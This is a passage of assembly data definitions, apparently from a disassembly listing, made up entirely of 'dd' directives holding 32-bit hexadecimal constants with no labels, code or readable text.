0DC22C43Fh, 2A757DD5h, 0FC56E05Ah dd 55D2A43Ah, 0A5871209h, 26E062E8h, 51B79C1Bh, 4C88FAAAh dd 74BCBCBFh, 29443821h, 97300668h, 542004E5h, 18A8127Ah dd 1C18A8CCh, 3D58C6F7h, 0AF455F09h, 0B8AF8F5Ah, 5D2C93C9h dd 8F09CF22h, 8B55313h, 733AA4E5h, 79412365h, 61766E5Ah dd 3147F715h, 0D9A8790Eh dd 80AF6149h, 9C507E24h, 0FF2A90C2h, 29CBCF02h, 79913406h dd 54AFDE8Dh, 0CE9448Ch, 6B7130DAh, 8C1D8E4Ah, 688EEA68h dd 9624FEA6h, 0CBAE4D84h, 0BDC4CD54h, 72060BBCh, 38EB4E99h dd 295E8CA4h, 0A548AE8Bh, 2F6D2CC6h, 2A673CBh, 612ED562h dd 0EE7249ABh, 5E06B499h, 0B550BC0Fh, 0BCD55727h, 30201A4Ah dd 438C6D4h, 0CAFFA862h, 0C509A47Ch, 32B0B565h, 36702BF7h dd 148BE85h, 6FBC4B8Bh, 424B94C7h, 0AFDD1415h, 0C12A3F84h dd 7B4C430Eh, 0C85D554h, 0F45D64E0h, 4AEB806Dh, 72DCB830h dd 20AA1F4Ah, 91D37671h, 2E1C0837h, 0EF9BF722h, 69673CA3h dd 0A1C5CCF0h, 0A4C6B896h, 0DBC1F231h, 0F696A81Eh, 86F22277h dd 42CE4A9Eh, 16900E8Ch, 1B85501Ch, 0D6A20B35h, 1FD6BB9Fh dd 4D36DA63h, 3909042Ch, 8354F75Dh, 86A4A429h, 0B37697F5h dd 2EA4295h, 69BAE643h, 156BDD2Bh, 9D26EF10h, 4BDF9737h dd 8FCE545Fh, 0FEE57A77h, 0EC6B8E9Bh, 0F7717CDCh, 5EE13FBh dd 3CC688C1h, 0B9705FB2h, 0F6A21594h, 3906BE63h, 4AAE46FCh dd 0BD9A36FAh, 3E324DF8h, 0A6102255h, 0C83FDFF3h, 9DF34E25h dd 7DC2AFBh, 0F8923B87h, 0F0F3C273h, 0C52DAF1Ah, 21AC0261h dd 87C14326h, 7D39331Fh, 0F99A7A41h, 0E50991C5h, 0A5FBAA0h dd 76176E23h, 9810F4C3h, 0EBE00374h, 383DE852h, 9B6AC23Eh dd 74CAA1BAh, 938D5C0Fh, 3664E30Fh, 943247B0h, 0C9ABA53Fh dd 51729CE8h, 37F9015Fh, 28D9D256h, 0BD886A27h, 0E977109Bh dd 9DE4DC9h, 0E11D07E5h, 43B0DEB8h, 5ED44A3Ch, 0E8722F91h dd 0E7D3F5ECh, 78021F45h, 0D0EBDD85h, 7CE4C3FCh, 84FBAC53h dd 3668BBCDh, 2AE56716h, 45BB0EA9h, 3923DDBFh, 73281D71h dd 58602511h, 6D2695C7h, 8054819Dh, 0A13D5522h, 40FD3B6Fh dd 0E99FC423h, 675B4B9Ah, 4AFD6847h, 1DB7BD12h, 64F4DA73h dd 0C1738BBBh, 7DEF27D6h, 0A7EFC09h, 4218341Ah, 853A1905h dd 0DD4EDE9Ah, 0DEB215D9h, 30B6EEF0h, 70CF7E1Dh, 569D9E85h dd 0F695D50Ah, 1CC628ECh, 52BCCAEAh, 82CE4332h, 0ECB8D113h dd 0E5719CA9h, 9D439017h, 128F85A3h, 0DDF6F96Eh, 59B9BF0Eh dd 7657726Eh, 3A4816B0h, 5CC04558h, 5EFE406Fh, 8884C222h dd 7904B129h, 2E655EE0h, 9CB4FB58h, 928A431h, 83B6FF49h dd 13E8DE76h, 70EF49BCh, 502DD030h, 286E0585h, 0F3531757h dd 0C2683172h, 1B2B6D9h, 500D5176h, 325B7878h, 85777D4Ah dd 1556E63Ch, 64D1AEB5h, 14D0337Bh, 0CBB4395Dh, 0B5921DD1h dd 61F2DD0Bh, 77D041E6h, 25AC1D5Bh, 0CD10CDB4h, 0A507DB6Ch dd 0B799F823h, 81C77E59h, 0C293CD02h, 53015C4Bh, 82CC2F86h dd 0EC3896D1h, 49E171Eh, 4B8451A8h, 8B35665Ah, 7351C43Dh dd 329588F8h, 0D4D605AAh, 582178B3h, 4125E9E1h, 0FCA83A08h dd 6E63D227h, 12480576h, 70FB034Fh, 0CB414C8Dh, 59D649E8h dd 0D30CE4D3h, 0DA6EF94Fh, 6FC6052Ah, 3321D580h, 3A467123h dd 69CB41A2h, 6DC62EBFh, 0E5BF82Ch, 4D6B32FEh, 0C76E6EF7h dd 1F49636Bh, 831DEC6h, 0BCEFB0DEh, 0BBAB263Ch, 0E0F32A77h dd 857964C7h, 0D7EC015Dh, 1483E2B6h, 652EB8Bh, 827B66F7h dd 1597F859h, 1A7A91ADh, 562CE009h, 26FE7798h, 0D434F16Fh dd 6E248215h, 0D6BFC37Fh, 9CAEE669h, 42662A91h, 6D055798h dd 6BFB4D7Eh, 16E7B46Dh, 654DC79Ch, 0CE2CD919h, 52361F20h dd 3EE62710h, 0DF6B172Eh, 72F11C08h, 9C31DFA5h, 698E5A88h dd 0D118B0E4h, 1053D73Dh, 782B45A6h, 2A825D16h, 0F28B4B90h dd 79257022h, 0B90BDE28h, 0C5343464h, 0D47A90ECh, 0DB698F39h dd 85E0426Fh, 0A827F49Fh, 14D24C29h, 99AA25DFh, 0CCA64E62h dd 0CA7AB04Dh, 25FD21FBh, 0CA5FFF3Eh, 0A44F03ABh, 0CA4157AFh dd 9A2AEA46h, 3CEA961Eh, 3C6EA68Fh, 8D5EFD93h, 36B8DDA7h dd 3BDD070Ch, 0E290AB01h, 8750567Dh, 0F3E0191Ch, 90CAA4A3h dd 0BED86F48h, 0E28E14CFh, 0C05823F2h, 0AEA72D15h, 8EF25F50h dd 0BF35071h, 29CB044Fh, 8E87DAE2h, 60D0CC2Ch, 51F27722h dd 0DF672560h, 9C23DC09h, 0AC9849D7h, 9351094Eh, 0BB609F2Ah dd 8FB6A62Fh, 4240C53Eh, 7DAB7116h, 2B618A6Fh, 7B10A528h dd 0E8A5A2DFh, 8FF96847h, 0EF23C58Bh, 1EEA8099h, 0C5F11213h dd 0D91D999Bh, 31D10EA9h, 9BB9D72h, 69ECE5F4h, 684154B5h dd 0FF467542h, 0A97FFE11h, 6BD191A5h, 89D3E4D1h, 0F5B52D79h dd 74D79116h, 237D99E0h, 0D389A0F1h, 6FDC7C7Ch, 4DF455A3h dd 8F3DB9E4h, 0D8C35CECh, 406E79CAh, 0B80B5297h, 94393C2Fh dd 7F941432h, 400916F8h, 64CEE287h, 80041878h, 6B21E073h dd 216B9AC0h, 39130681h, 793C435h, 4EB61048h, 0C47A764Bh dd 0F4CD55C6h, 7F2BDE6Dh, 6B8C41Fh, 358B2F88h, 0F2F5CC86h dd 0C83D8A4h, 2955F28h, 0E12EF566h, 0C87E7A10h, 0E201CDBBh dd 6665BB56h, 4A769FDBh, 10D86227h, 286409DAh, 13CCBB78h dd 260634B3h, 1A5D6015h, 71635A9h, 88AD8DD9h, 0EA8B0E21h dd 0D9801D00h, 60B4AF98h, 81E502D9h, 0C935025Bh, 0DDB94082h dd 0E0C5BCD6h, 0E0850113h, 0DD82FFCh, 8ED45881h, 792DCBF8h dd 0C93799EDh, 0A1CDCC88h, 0FD2473FEh, 0D10873FBh, 1709A3B6h dd 0B9B4A8Ah, 0FAA7CBB3h, 0F4C5E53Dh, 0E5AA80CFh, 24E8D99h dd 1F2E11FBh, 0BF515760h, 0FE88FCD9h, 0D1128282h, 89F215F7h dd 20617744h, 0E1E567C5h, 5981BC07h, 22C07484h, 0EC765632h dd 4ADBBF52h, 7725EF63h, 0F20C250Ah, 4FC10AD8h, 9938A840h dd 0C4A49DBBh, 0F83B25Bh, 0FD06FE03h, 877DE430h, 3A3338E0h dd 97261308h, 29970F35h, 549F5E59h, 3200EED3h, 7D224FCBh dd 0E5BC882Ah, 95C9E0EFh, 0C6556E7Ch, 0B3847953h, 53E5BD51h dd 0EB9F6180h, 32781382h, 44EE72F3h, 4EAE715Dh, 31168CE1h dd 3A58545Ah, 0F14F0D9Ch, 99582A04h, 0A9D07B8Fh, 0C3075DF9h dd 8B70E10Ah, 0F4A8FE51h, 6D71AEDCh, 950C398Ah, 0C245D3FAh dd 4A34A677h, 248FEC7Dh, 8E498A1Dh, 6E124980h, 0D2CEAD75h dd 16012F38h, 0F226762Dh, 0BD3FBCCh, 3E72DA6Fh, 8091BF6h dd 18067D7Bh, 923EE85Bh, 0F60C498Ch, 956F5A51h, 0B32BAD17h dd 73F70CBFh, 0D6A7835Ch, 0ADCBF6C7h, 0A080D48Dh, 0E361D3E5h dd 53294BA2h, 0B6BDC1FBh, 0D9827F2Fh, 0E2B137C8h, 18A7CE0Ah dd 3CD306Ch, 37A8FF7Eh, 0F1568C6h, 90002BA1h, 56E9Bh, 6405E974h dd 4F594618h, 0D4A9F2BEh, 7E7E4357h, 5C77A71Ch, 0D0B725D9h dd 0A4571EAAh, 1CF7E1B1h, 0DE42FA51h, 1290AD04h, 4C335472h dd 0B38C7492h, 0BA459432h, 1E9643C5h, 4A063C1Fh, 1DCADEECh dd 86C931CCh, 2C067676h, 1863AE46h, 0B2516FBFh, 0A685C7F9h dd 62BB14ACh, 0C8F3DF71h, 485CF25Dh, 55BDB778h, 674272Bh dd 0A2FCAB9h, 89728535h, 51B354B8h, 236F92Ch, 0EA7C7B3Dh dd 84BD3D67h, 0C4E657DAh, 0D15A2CFAh, 0E5CB83BCh, 2C1563F8h dd 75B7747Ch, 5C4D3120h, 0A64F801Eh, 0ACB7F7C1h, 0ABDF33BFh dd 0BA4DD6DEh, 0F55B6B33h, 1A59DAA3h, 0BC536C08h, 812872Ah dd 0F09EE835h, 160D3850h, 0EDC61343h, 0AAB99673h, 0AAA4BD1Bh dd 0F29C7744h, 0B90D0F44h, 86BAF086h, 0F292DB8Ch, 0AFBF546h dd 68E6CDBAh, 0EF52CF20h, 4714CB85h, 2AEA3E63h, 0E5894A8Dh dd 70A75167h, 10CA98C6h, 0A992E68Eh, 19EFFF3h, 43FD7997h dd 60E8B277h, 0BB04220Dh, 0A550B142h, 0CD1A9F1h, 0AB49A0B2h dd 4553DE52h dd 0B2A1CEBCh, 4491E693h, 0A7F19E95h, 6F44034Ah, 226278BFh dd 7CF36BEh, 48AD6312h, 5B31B5E1h, 8E21B63Dh, 0EA4A1645h dd 7349F77h, 0B8C3DD07h, 31CB1420h, 9600F236h, 80298130h dd 0F36AB06Bh, 1DF9E4C6h, 8B0D74A0h, 48B899AEh, 0F0E5F6Ah dd 0E14D0179h, 9806350Bh, 43800FACh, 0BE09C1F8h, 9BD7B735h dd 4A61F1A7h, 533892EDh, 0E41DC580h, 0F916D580h, 0BFDE0D4Dh dd 0ABF1E74Bh, 6012E41Fh, 9EB270C4h, 0E17DAE56h, 8DBF441Fh dd 457E0D70h, 39FE8948h, 0C19D6547h, 7F69EC09h, 4C69FEB2h dd 1E4BF492h, 0EFB9C6AFh, 3374D62Fh, 38E6968Fh, 567132E3h dd 4B3AA6ECh, 30C401BCh, 0DF251CA4h, 12CF1ECBh, 4FF66417h dd 74BB766Eh, 13089CFh, 960A966h, 585E2648h, 44122C55h dd 0A4B8D56Dh, 0FA2A8F0Bh, 0CD5DE1D5h, 826140F4h, 6EDD6ED5h dd 2343C18Eh, 94A2C42Bh, 543D28C8h, 48FF65BCh, 0FE4C7E74h dd 1E343483h, 0CEA1B22Dh, 0A6A93518h, 84611BB1h, 2B0ED548h dd 0D56EC6Fh, 884DE7B8h, 0E6ECC6F6h, 670B34F4h, 83045483h dd 0BDAD8735h, 0CC3745ECh, 5F045774h, 6D19325Ch, 66660CDAh dd 85EB9D04h, 0EB7AE9B5h, 0EC71F25Eh, 9A0CD7F4h, 1D5F377Eh dd 8EF547E5h, 80DCB53Fh, 0DDB95162h, 3C851522h, 330E8459h dd 0CD5E7B16h, 6F60800Bh, 0D8F25947h, 0DA177B2Eh, 54CEC745h dd 0D16C5146h, 0F617B0F0h, 5CA84E6Ah, 360CD183h, 970093DAh dd 8CB2E533h, 0D864D275h, 8B285AF0h, 0DA45F5D8h, 0A0297DAh dd 56F80501h, 98F4DEEFh, 0DA5F9F38h, 0A5A15751h, 0CD345ECDh dd 34C67F00h, 0C7EF1DEAh, 164AF5D3h, 5BBB41C4h, 0E1EF585Dh dd 4F2FEAA1h, 79C3BEEDh, 41E13147h, 3130DB32h, 4BEA5823h dd 0F540B473h, 0F11A3051h, 6AE8D83Dh, 0B9E94F3Ah, 4542B3F8h dd 0AF94D8CDh, 0F721B8DBh, 29610932h, 3C1FB505h, 86A230D6h dd 83025774h, 0BD007E73h, 0EBE4FC17h, 0FEAD5951h, 58FBDBF2h dd 965257FAh, 0EBA719Bh, 0CABB1071h, 8CC0211Dh, 525E08EFh dd 7A734FFCh, 0E5684561h, 72E96D48h, 0FD26831Bh, 0C968328Ch dd 0DF513BA4h, 0D122157Eh, 0D5678F1Eh, 0FFC1A55Fh, 0B0FBC1C4h dd 17674A0Ch, 0D32E9D8Fh, 6F9ED009h, 7C54373Ch, 4F3D4693h dd 0A977B2D2h, 0F65B7254h, 789AD0F6h, 72BF5ADBh, 0CE1BE2ADh dd 2F1BB0A2h, 2B8280F0h, 25C0DDCCh, 27503ADFh, 0D94C7324h dd 0F866ED27h, 6E8F84D7h, 230F5107h, 2910250Ch, 0EB162092h dd 1DB397A2h, 1A481ED4h, 84D098E0h, 29141DA2h, 0AC043557h dd 5FA415E7h, 7C808F17h, 1FB2D196h, 6BD6DEBFh, 6372BEDEh dd 2F6BC3ADh, 0DB317505h, 41752F3h, 0EBE1C5Fh, 0B70DEDDFh dd 917A768Bh, 6373E9F4h, 4C1B1C61h, 0ACD166D7h, 0A7B6F8Fh dd 91961960h, 0A4ED2AD3h, 0DFD12CAh, 7DDC23C7h, 987AE9AFh dd 0FC8DEBC9h, 0DE81E277h, 48F66BEBh, 2555C1Fh, 90139742h dd 0A4956422h, 0E4EE9676h, 0B19EB9h, 0E7C2428Dh, 0D8775C8Eh dd 9ECDF2A9h, 673B888Bh, 45872CA5h, 0BC919062h, 0D11A9BD0h dd 3033FE78h, 0B8B32CB8h, 0C181B523h, 9EBB7CD3h, 10E097DAh dd 0BEB2A325h, 15C9B5F0h, 0ACAC804h, 7C7FE20Bh, 2F518F87h dd 89E026B2h, 972607B2h, 8353B603h, 0D58F4E2Eh, 0B1F3E8Dh dd 0E316A3C9h, 60A60BD4h, 58204BCFh, 0C1D28E8Eh, 11D4A38Bh dd 0BEA25B3Bh, 0AD17D359h, 99949E3Eh, 0ACFC9C6h, 0CE97325Eh dd 6AD569C6h, 0CB206CD3h, 0BE4AE150h, 0EDBCB8D9h, 8D85F4F3h dd 7B3D91D3h, 0A362E9E7h, 12BCEE24h, 0A5006594h, 0F2241F67h dd 0EEDC89E2h, 3FCBE12h, 69CE2217h, 0FFAD04B4h, 0E798EB96h dd 2FB1085Ah, 2FCAC342h, 0C8A0763h, 6ACC65BEh, 0F97D0F76h dd 1E31233Dh, 68F568D6h, 0B9789D78h, 9D577719h, 0CCF503Fh dd 35099253h, 0E4BDB81Eh, 0B9D0BC71h, 0D08D6604h, 83DB5684h dd 3A701972h, 885CA297h, 3BB45937h, 6447B64Ch, 8EB1117Dh dd 0D95EC337h, 0A01A054Dh, 0ED24A2C3h, 6A5E55B1h, 0E024BE18h dd 0BCF60A95h, 0D062F1D0h, 0CA18776Eh, 446717B2h, 942393FDh dd 6DEA7C53h, 9D37F6A8h, 44DF1EA2h, 39735325h, 0B12467A0h dd 128B44D8h, 104A8B39h, 439429A7h, 942026AEh, 0FB337E80h dd 39537959h, 0DCB216FCh, 74C88282h, 216CCF37h, 4E8A9B67h dd 12539FBh, 0B09EDC3Eh, 1AD6C2CDh, 5C65085Bh, 0AE0849E2h dd 8E45B229h, 8344F0h, 7250B07Dh, 0F381D552h, 0DE438486h dd 0C1C513F2h, 88BDBE7Fh, 0D301DB84h, 17F3067Dh, 6C7EE4D4h dd 22438965h, 32EB4AB5h, 3C5AA0CCh, 7B49F432h, 1F49F92Fh dd 0F8D319C6h, 45739135h, 0D9F1CE2h, 0B799A8BDh, 24680D9Bh dd 0C4A27C0Dh, 18B645DFh, 623AF401h, 0DC367B61h, 45E2A037h dd 651339AEh, 44910FEDh, 210C80E9h, 0A2EA5F28h, 0A8B42F71h dd 0D4FCC2DDh, 95492854h, 0E239D18Dh, 8B140133h, 0C3866C19h dd 0F2B1BAFBh, 6883104Ch, 405071E5h, 80CA5940h, 0E106529Ah dd 5FE6B818h, 0AC765C5Bh, 0DAAE0722h, 0DEC4EC3Eh, 57189A3Ah dd 0E62A3504h, 0B51573D2h, 6582ED35h, 0DDD522A4h, 0FB31EE62h dd 0E8DF727Bh, 0DBB6B773h, 99FD7FB6h, 0AEED12D9h, 0FE051576h dd 0C2A8A2B0h, 0EB7965F0h, 8B2BD014h, 111F1233h, 0ABA71710h dd 0AADEB20Fh, 36AB8D62h, 8CF1E24Ah, 0B4531985h, 0A4B5C14Eh dd 0AA79EB91h, 6FC5B8DAh, 6E4B80EAh, 377A102h, 7B7AF4C5h dd 91342FF9h, 9C3BEFD9h, 9204ED64h, 18049ACFh, 169728E6h dd 3160F25Fh, 0B3F541FBh, 0E321A765h, 61711374h, 8FB75485h dd 415064F8h, 6C69AC5Fh, 0E6CE6508h, 1321E288h, 0EAD89E88h dd 6384FA8Fh, 928089D9h, 983BF402h, 0A4893393h, 582FF3FEh dd 0AE3380B2h, 0AFF91A07h, 623201B3h, 4F8D264h, 0F243AC24h dd 0ECB7176h, 2131B212h, 8355D7F9h, 9B0AE5E6h, 0FA4710ADh dd 0D6D4AA9Eh, 0EE465D19h, 0ED717D21h, 357F0DE4h, 42C9F417h dd 0CA894C80h, 66620C05h, 1E0BEFD7h, 0FACA3DDCh, 6460744Eh dd 21622A3Ch, 0FC5BCD24h, 5F680EEEh, 7C0F016Dh, 4BDB3D8Fh dd 799360CFh, 0DFF8591Fh, 2C59D1F3h, 453485B5h, 7AC1E70Bh dd 44815030h, 1129ADE0h, 0AAB8790Fh, 0A192B2CFh, 0BBBFB3DBh dd 54E5A563h, 6949CA40h, 58EFCB7Dh, 0A4F77E6Eh, 0B7A7F65Bh dd 0A7559D95h, 1B6DAF01h, 0EF01D4EBh, 86FA4947h, 12B9E121h dd 0F7A6C261h, 18D296Fh, 1F0DC71Bh, 0AA06C5F1h, 0BC69E9D2h dd 2B6FF0F6h, 0EDA8776Bh, 0D38CB95Dh, 7274C0B3h, 0F7D85A5Ah dd 41408564h, 3A31938Ch, 3CB65487h, 0B395994Dh, 32F5220Fh dd 0E211865Ah, 4A73F2EFh, 0B698BEF9h, 912F60D7h, 4B1F5894h dd 4FEBAEC2h, 0B6070BCDh, 6F904E8Ah, 0BF853D7Bh, 75C11757h dd 1609B691h, 28389C56h, 0C0026040h, 838CA115h, 0A6BF5E50h dd 88EA7407h, 6A6B0815h, 4F8E15F7h, 2573D6C0h, 0EAAC76E5h dd 4599935Bh, 0DBAC2496h, 575F3CD9h, 0D1CCA96Ah, 44D22231h dd 4F45A4Eh, 6F920194h, 91476394h, 36F64B14h, 91BD3095h dd 79B00AB8h, 0A595E23Ah, 45EB8562h, 19B3F5EEh, 1108E29Ah dd 72934D43h, 5A08EF55h, 6C116EA2h, 8B18CFF8h, 8727B24Eh dd 6D7C09E2h, 5417106Ah, 0B9877E39h, 0DE360961h, 91A6058Fh dd 52964585h, 8E1FBE1Dh, 61F284A4h, 75AA0D3Bh, 23832F5Eh dd 6728C95Eh, 0FA022C24h, 0DF7DFDB0h, 0C18AF43h, 3ECD8D09h dd 50D2996Dh, 0D8CC7C20h, 1E2CB3D9h, 5B305BD8h, 0DEEEE18h dd 0F6A7F379h, 8285016Dh dd 447572C6h, 1F780EA4h, 163BEA38h, 76193F88h, 85288198h dd 45521CA3h, 89F12781h, 0C1280B94h, 5F0AB5C3h, 0FA3619Bh dd 0D14398A0h, 85BA26B8h, 4A9A8C1Bh, 0B7D1D74Eh, 0BC6B867Eh dd 0EBB524B1h, 9CF5AB2Ch, 95D6C33Dh, 7CCFB1F8h, 0B6AC3606h dd 0A1B58A57h, 4F681ABCh, 0A933DD77h, 87416057h, 0C21993FBh dd 0AF1B0961h, 12BFB420h, 19609251h, 595CB554h, 0FBCDA820h dd 1E1AAB2Fh, 0EB3E251Eh, 4491D165h, 75D54429h, 52C6EF07h dd 41F3AF89h, 85BBF498h, 0FC20A437h, 5AFED70Ah, 45DC305Dh dd 0F0462FCFh, 0E25EBE1Ah, 3C10A739h, 0ACD8A00Ah, 1B705F86h dd 0F9282ED7h, 90B0F631h, 56E95EC2h, 0BFC64506h, 0FD0AC5F0h dd 67F3D1h, 0B9D67F66h, 911FDCD6h, 0D5FC50FCh, 0B9415AF7h dd 0F3604550h, 7C905B41h, 381E8354h, 875F1752h, 0AE8EC15Ah dd 214015F2h, 0B8B0ADAh, 1D3DB023h, 0B3798Eh, 0D5AB9FDBh dd 724AA858h, 85F9036Dh, 6B075A6Fh, 42D46A65h, 0DA12C78Eh dd 68805723h, 0C5488057h, 0A3A03D29h, 4B0E3105h, 15C3F66Dh dd 0A1ECDD02h, 489DF659h, 1034BFD1h, 5C02E8AFh, 6D2DF4FAh dd 0BD32EDB2h, 9C343CA4h, 943E6CADh, 750B2529h, 3D9C0888h dd 86CA911Fh, 6B879D17h, 0BDD6DBDh, 1DDDB910h, 0E1D851DEh dd 49395262h, 0A9455C0h, 0B0D13442h, 0E15C2E0Ah, 0D21657B7h dd 0E9C15FB9h, 1F3D0DAFh, 532CD9FAh, 904E6DECh, 0FEF0F203h dd 0A9F36284h, 737C9E17h, 5ABDF0A5h, 41F8329Dh, 0B063679Ch dd 0C13FFF7Fh, 3554EC25h, 2BAB78FEh, 34C68BD6h, 7BCCD25Dh dd 702FB6D5h, 97A01F8Ah, 0DF18F598h, 66C6F92Bh, 0C917B22Eh dd 0F685B1F3h, 1FFCA4BDh, 6BC43F6Fh, 0D73D6553h, 0FBC234F7h dd 0E97DAC9h, 0F1ADE6E5h, 5731C517h, 0D0BBB9A4h, 0BC51858h dd 87E15F83h, 0E15104DFh, 0FE9D3ED8h, 294FAD79h, 1ACD0F23h dd 0ABA1C8C0h, 0AF6F9D3Eh, 0A492801Fh, 88C1FE9Dh, 6A7B70BAh dd 1817D626h, 364D5327h, 8D750483h, 873EDBE0h, 34001BBAh dd 0F088CDB1h, 0B6942A03h, 60DD0804h, 2F4A3844h, 0EF63EFB1h dd 2B972E41h, 7C143E41h, 170428F8h, 0BE13C4D4h, 0C371314h dd 9F5479E2h, 67C550F1h, 9726276Bh, 177F7F49h, 408CB323h dd 0E5A680C8h, 2D04D0FAh, 80E70243h, 8D644E39h, 93B6DB23h dd 0AB70081h, 42117B31h, 61BA714Ah, 28BC2C67h, 6D628979h dd 0EA039597h, 43045B2Ch, 0F6091E62h, 7D3E3237h, 0B67AA48h dd 7036DB2Bh, 0CA5292Fh, 91ABF187h, 0D26A1431h, 0BF13AD4Eh dd 4AB91AB3h, 1ACC9A42h, 5B866690h, 4C92F84h, 2111C5A8h dd 82BE51F9h, 0AD368AFDh, 0BB259481h, 72C418F2h, 20284DCFh dd 47F2A043h, 661EFC9Dh, 57809367h, 0AC6E2497h, 0F1C4D9A6h dd 0D0131438h, 0B0C76629h, 0AF8C4E51h, 6EE5C766h, 3B3F38B8h dd 0B88A1A11h, 0F99C5915h, 39A97B6Eh, 24F53411h, 0D1BDB5DEh dd 2F776856h, 42552A67h, 0D306F48Ah, 7C2B8C7Ah, 0A415D95h dd 0B44C6EB5h, 0C33A48B8h, 8265BE84h, 0C420C24Bh, 69B7CCDEh dd 0D92D133Dh, 87A0FEEBh, 1BEE5B8Eh, 0C1A44CFBh, 24CCEB9Bh dd 8D565E6h, 0EB365F4Ah, 0C3A531ABh, 61D8EEE3h, 0BCF85D65h dd 0FB29B0D3h, 97FF791h, 0E8B3C360h, 649D795Eh, 0BEBC8CF0h dd 13425A76h, 0C4514824h, 0D498BE0Bh, 69EE5873h, 8D3913CBh dd 0E9E62108h, 7DCD0786h, 91108FCBh, 0F90BC972h, 0E762218Bh dd 0BE84B8BBh, 0F9909876h, 0BBAD9DFAh, 6551F76Ch, 72AABE92h dd 0B5C052D3h, 7CAE13C4h, 68B28DACh, 0FE85E2FBh, 68577F9Bh dd 578F9C4Ah, 0A055890Fh, 1DA9EA29h, 81BB31FDh, 0F853EB6Bh dd 9267E9BAh, 0F400D691h, 5ED17F4Ch, 0ECA6B70h, 789CC706h dd 56A67052h, 79B4C958h, 486610A4h, 0BF56234Fh, 30B6B5AEh dd 72041E21h, 2ED96E21h, 7D286FDAh, 0F4ED9CE0h, 2F96FC1Bh dd 6160799h, 7325CB3Fh, 0CB96668h, 6AEA1042h, 61DAF61Bh dd 4D75A3Ch, 9F29D9B9h, 7BD9F35Dh, 0ADF3B253h, 0AC78D6AFh dd 22B9264Ch, 0C8F3C95Eh, 0B06847A0h, 682F5C23h, 6B99E41Ah dd 0ECB8EFF7h, 0E8D505A8h, 0EBE118E5h, 0ED88925Ah, 291F8799h dd 0E80467BCh, 7AEF5DA8h, 0B8B630B9h, 0A9258C3h, 0FCC2143Dh dd 0E5FBF838h, 0BAAD5382h, 505CC28Dh, 0C824F8F7h, 36C19395h dd 0BFB651B0h, 0BB14BFC9h, 0E4FA898Bh, 73BDA419h, 9BA1F89Ah dd 9276E012h, 0D65FE55Ah, 62E05F65h, 0EC9F0A9Ch, 66D3E210h dd 75D73E7Ch, 8F84F2CEh, 0C5E0AB0Eh, 22375A9Eh, 84A1DDA5h dd 0A6FEFE17h, 0AF86B58Dh, 0D0EFA0DFh, 785B3AF6h, 0D2F137D9h dd 6CD72A9Bh, 0BE83A017h, 30936D23h, 8DD6BEBAh, 0A3EABEDCh dd 634104DEh, 9A4F1EBCh, 0AB00C73h, 2109E0C3h, 0D752DCFh dd 3D632491h, 1FDB786Dh, 18C6168Ah, 1708F2F9h, 276240EFh dd 92C2D6Fh, 0E8DABB16h, 0C509DDC1h, 9933DC6Fh, 0B6AE4EF9h dd 18482781h, 46D77105h, 0A56FE8DEh, 84943692h, 0E5F342C3h dd 0B66C692h, 4036BDB5h, 53C36E92h, 0AE1A19C9h, 48721A9Bh dd 0D0E86E88h, 3ABB65Ah, 0C8A11C08h, 3E8E16FCh, 0FD310321h dd 0DC57CD59h, 0E309C9FFh, 511907DDh, 10B25090h, 2360F292h dd 205DB633h, 46B1608Ch, 994D8A58h, 0B82CD89h, 0F1DBC25Eh dd 0A11A2648h, 444FEC91h, 10AD4861h, 72D479A3h, 54395B3h dd 5879E8F5h, 941A476Ch, 28FE0F35h, 13879D76h, 117C5557h dd 0D13DCFDFh, 8ECA2074h, 0EAE8126Eh, 0A6720209h, 84943100h dd 0C3EA343Dh, 153E2638h, 0B4F9FA38h, 337CD204h, 790D7C2Dh dd 5F7B753Ah, 188128BEh, 0D7CFB494h, 6C24A899h, 531A0A3Dh dd 4169273Bh, 0F96FE659h, 0AEB0951Ah, 1FFF9426h, 0C03E9FDEh dd 26F63BD2h, 5EB0E172h, 71071896h, 0D0001BC5h, 179AC483h dd 31ECD96h, 0BB70D8C4h, 1455B85Fh, 27FE8631h, 8187ABB4h dd 0E4372796h, 6748F19Eh, 22A0C4D0h, 0CE7CE4FDh, 0D417F7E2h dd 0EC973020h, 75EAEFA7h, 0E44DA764h, 27185595h, 0EA941EFCh dd 0EEF3EA3Eh, 4CEA027Ah, 4F019843h, 0E63A0838h, 38BFE7D4h dd 893FB5C4h, 2DC5687h, 0B9712ADCh, 213C5B3Ch, 658A60B4h dd 2772D999h, 5CD4494h, 201B2FDh, 61B12982h, 377DF0CCh dd 72671628h, 76C7D1Dh, 5605F223h, 0BF21333Eh, 11653A6Eh dd 5E900F74h, 8563D676h, 8C692570h, 5EF393B5h, 239B1D8Dh dd 976FCDF6h, 0F587B01Fh, 83D264B0h, 0BCA9F7CCh, 29CF724Fh dd 0C9E2B0AFh, 5D490918h, 1AEF0F25h, 72E467C3h, 0A7BCD6D5h dd 691FF3E8h, 7F8E043Fh, 0DB180058h, 21876C17h, 9C77D723h dd 0AC3B1459h, 65B4619Bh, 0EDCE58C3h, 0B54A2602h, 0EE14C63Bh dd 9DB3F53Eh, 7A4F55DDh, 0FB7F2CBEh, 1D847460h, 0F2770E17h dd 559DCE02h, 378E9F35h, 0F6CCB3D5h, 75709051h, 9697B19Dh dd 6AFF23FCh, 2CDC4C1Ah, 0FFE9BA5Ch, 4DE80293h, 32C8B1EFh dd 60290402h, 1401EA87h, 1DC3C600h, 0BBFEF81Ah, 4CA82458h dd 0ABB8B3Eh, 0FE2A986Ah, 302C28AAh, 7D6CCD56h, 1FD91F12h dd 5DB0E785h, 52005C6Dh, 0B4904BB5h, 1F917839h, 0D3A51188h dd 5AB155C2h, 0C106CDC7h, 8D13D52Dh, 0E98C6F9Eh, 61EC3946h dd 0E8C2139Bh, 175DAEEAh, 48A562F8h, 0A1DB36BBh, 8C2278E3h dd 2C6419B7h, 0BC518986h, 3AC23252h, 3D4E1373h, 48C8F95Dh dd 743DDABFh, 2D303F0h, 0A56B5F25h, 438882ABh, 861789C2h dd 57C6EE91h, 55E310ECh, 0DC3AFF6Fh, 0B39C05C0h, 0BE9E97F5h dd 0ED3920A0h, 0D6DDE956h dd 0A2149F10h, 31948AC4h, 1FCC8114h, 4A37F06Ch, 70A17F8Bh dd 190945E4h, 5073FD1Bh, 0B71BC48Fh, 45656C38h, 81578964h dd 0D3F8FBF4h, 5CD0C4E9h, 0A346FD10h, 34E89E2Ch, 0D73520B8h dd 8CC2721Bh, 0AB862038h, 34D50504h, 66CD731h, 68B77A1Fh dd 5FEEB28Bh, 13AEB759h, 53C751A1h, 0FFED786Fh, 2451F3D9h dd 0C13D2D0Bh, 0B3FF6529h, 0CC9DD45Eh, 